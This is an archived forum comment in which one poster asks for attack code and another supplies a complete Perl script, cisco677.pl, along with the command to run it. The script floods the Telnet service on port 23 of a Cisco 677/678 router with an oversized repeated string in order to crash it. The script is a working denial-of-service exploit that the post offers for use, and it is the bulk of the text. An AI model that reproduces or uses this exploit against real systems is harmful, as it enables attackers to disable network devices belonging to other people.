home *** CD-ROM | disk | FTP | other *** search
- Cisco 677/678 Telnet Overflow Bug (Score: 0)
- by Anonymous on Sun Jun 16 @ 07:22
-
- > plz tell me how to do this AND can u plz tell me the code PLZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
- -------------
- Here is the code:
- running:
- perl cisco677.pl -s [IP on Ciscorouter]
-
- --------------------cisco677.pl------------------
- #!/usr/bin/perl
-
- # close your Cisco 677 up on the Telnet server!
- # Made for fun only! port 23 is the Telnet server port on the router
- # By DNV THX to DKW-stuff
- use IO::Socket;
- use Getopt::Std;
- getopts('s:', \%args);
- if(!defined($args{s})){&usage; }
- $serv = $args{s};
- $foo = "?????????????????a~ %%%%%XX%%%%%"; $number = 30000;
- $data .= $foo x $number; $EOL="\015\012";
- $remote = IO::Socket::INET->new(
- Proto => "tcp",
- PeerAddr => $args{s},
- PeerPort => "(23)",
- ) || die("No Telnet server here! on $args{s}\n");
- $remote->autoflush(1);
- print $remote "$data". $EOL;
- while (){ print }
- print("\nPackets Sent\n");
- sub usage {die("\n$0 -s \n\n");}
- ------------------------------------------------------
-
-